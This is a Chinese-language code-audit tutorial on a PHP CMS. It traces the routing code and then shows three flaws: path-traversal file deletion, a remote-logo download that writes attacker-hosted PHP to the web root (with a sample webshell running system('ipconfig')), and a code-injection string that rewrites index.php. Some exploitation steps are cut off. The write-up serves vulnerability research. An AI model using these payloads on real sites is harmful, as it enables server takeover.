新开大坑代码审计系列 小白新手大佬多多包涵
0x01 审计入口
对于一个MVC结构而言,比较重要的就是首先弄清楚路由是怎么走的,首先看到index.php
中包含了home/index.php
,其中第106行调用了Prourl::parseUrl();
,这个函数就是用来解析Url:
// class/prourl.class.php
<?php
class Prourl {
/**
* URL路由,转为PATHINFO的格式
*/
static function parseUrl(){
if (isset($_SERVER['PATH_INFO'])){
//获取 pathinfo
$pathinfo = explode('/', trim($_SERVER['PATH_INFO'], "/"));
// 获取 control
$_GET['m'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');
array_shift($pathinfo); //将数组开头的单元移出数组
// 获取 action
$_GET['a'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');
array_shift($pathinfo); //再将将数组开头的单元移出数组
for($i=0; $i<count($pathinfo); $i+=2){
$_GET[$pathinfo[$i]]=$pathinfo[$i+1];
}
}else{
$_GET["m"]= (!empty($_GET['m']) ? $_GET['m']: 'index'); //默认是index模块
$_GET["a"]= (!empty($_GET['a']) ? $_GET['a'] : 'index'); //默认是index动作
if($_SERVER["QUERY_STRING"]){
$m=$_GET["m"];
unset($_GET["m"]); //去除数组中的m
$a=$_GET["a"];
unset($_GET["a"]); //去除数组中的a
$query=http_build_query($_GET); //形成0=foo&1=bar&2=baz&3=boom&cow=milk格式
//组成新的URL
$url=$_SERVER["SCRIPT_NAME"]."/{$m}/{$a}/".str_replace(array("&","="), "/", $query);
header("Location:".$url);
}
}
}
}
‘PATH_INFO’
包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息,如果存在的话。例如,如果当前脚本是通过URL http://www.example.com/php/path_info.php/some/stuff?foo=bar 被访问,那么$_SERVER[‘PATH_INFO’] 将包含 /some/stuff。
举个例子,假如访问http://127.0.0.1/index.php/index/hello/pid/1
,那么parseUrl()
函数会将index
解析成类名,hello
解析成方法名,pid
是参数名,1
是参数值。如果是通过GET传参的形式传入的话,那么就会先将Url转换成上面这种表示形式,再按相同的流程处理。
另外,项目中的runtime
是对网站的缓存文件,也就说假如你访问了admin
后台网站,那么第二次再访问的时候就会在runtime
目录下执行,而不是进入admin
目录。
0x02 审计过程
首先用Seay和Rips工具扫描一遍,有一个大概的方向。controls/flink.class.php
任意文件删除
function update(){
$flink = D('flink');
if(isset($_POST['logoc'])){
$logo = $flink->downlogo($_POST['logoc']);
$srclogo = PROJECT_PATH."public/uploads/logos/".$_POST["logo"];
if(file_exists($srclogo))
unlink($srclogo);
}else{
$logo = $_POST["logo"];
}
if($logo){
$_POST["logo"] = $logo;
if($flink->update($_POST,1,1)){
$this->redirect("index");
}else{
$mess = $flink->getMsg();
if($mess == "")
$mess = "您未做任何修改";
$this->mess($mess,false);
$this->assign("post",$_POST);
}
}else{
$this->mess("LOGO下载失败,请检查URL地址是否正确",false);
$this->assign("post",$_POST);
}
$this->display("mod");
}
漏洞出在第55行的unlink()
函数,参数$srclogo
是由用户POST参数logo
再拼接网站目录得到的,而且没有任何过滤,那么就很容易利用路径遍历来删除任何文件。利用方式:
models/flink.php.class
文件写入
首先通过一个危险函数file_put_contens()
定位到models/flink.class.php
文件
<?php
class Flink{
function downlogo($logourl){
$url = parse_url($logourl);
$logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl)));
$path = PROJECT_PATH."public/uploads/logos/";
if(!file_exists($path)){
mkdir($path);
}
$location = $path.$logoname;
$data = file_get_contents($logourl);
if(strlen($data) > 0){
file_put_contents($location,$data);
return $logoname;
}else{
return false;
}
}
}`
file_put_contents()
接收两个参数:$location
和$data
。$location参数是通过拼接
.public/uploads/logos
和$logoname
,而logoname
首先通过parse_url
把$logourl
解析成数组形式,然后再把host
字段的值中的.替换成_,后缀名是文件的后缀名,举个例子:加入$url=http://127.0.0.1/shell.php
,那么$logoname=127_0_0_1.php
。另外,$data
参数是通过file_get_contents()
函数读取Url
中的文件内容。
全局搜索downlogo
关键字,发现controls/flink.class.php
文件中的insert()
函数调用了downlogo()
函数,通过POST的方式传参。利用方式如下:
第一步首先在自己的VPS中写一个shell.php文件:
<?php
echo "
<?php system('ipconfig'); ?> "; ?>
因为源代码中是通过
file_get_contents()
函数读取文件内容,所以我们必须把真正的shell文件内容echo到页面上。- 发起请求
- 访问
http://localhost/public/uploads/logos/xx_xx_xx_xx.php
classes/baseset.class.php
任意代码执行
仍然是全局搜索file_put_contents
关键字,在classes/baseset.class.php
文件中
static function writeindex($style,$start){
$file=PROJECT_PATH."index.php";
$content=file_get_contents($file);
$reg[]="/define\(\"TPLSTYLE\".+?;/i";
$reg[]="/define\(\"CSTART\".+?;/i";
$rep[]="define(\"TPLSTYLE\",\"{$style}\");";
$rep[]="define(\"CSTART\",\"{$start}\");";
file_put_contents($file, preg_replace($reg, $rep, $content));
}
简单来讲,writeindex()
函数就是将index.php
中的两个常量TPLSTYLE
和CSTART
的值分别替换成$style
和$start
。
<?php
define("CSTART","0"); //是否开启缓存 1开启 0关闭
define("TPLSTYLE","default"); //默认模板存放的目录
define("APP", "./home");
require "./php/index.php";
?>
如果$start=0")
; <?php phpinfo()
; ?> <?php //
,那么就变成了:
<?php
define("CSTART","0"); <?php phpinfo(); ?> <?php //");
这样就造成了代码执行漏洞。
那么我们来看看哪些地方调用了writeindex()
函数:
再全局搜索writeindex()
函数:
利用方式: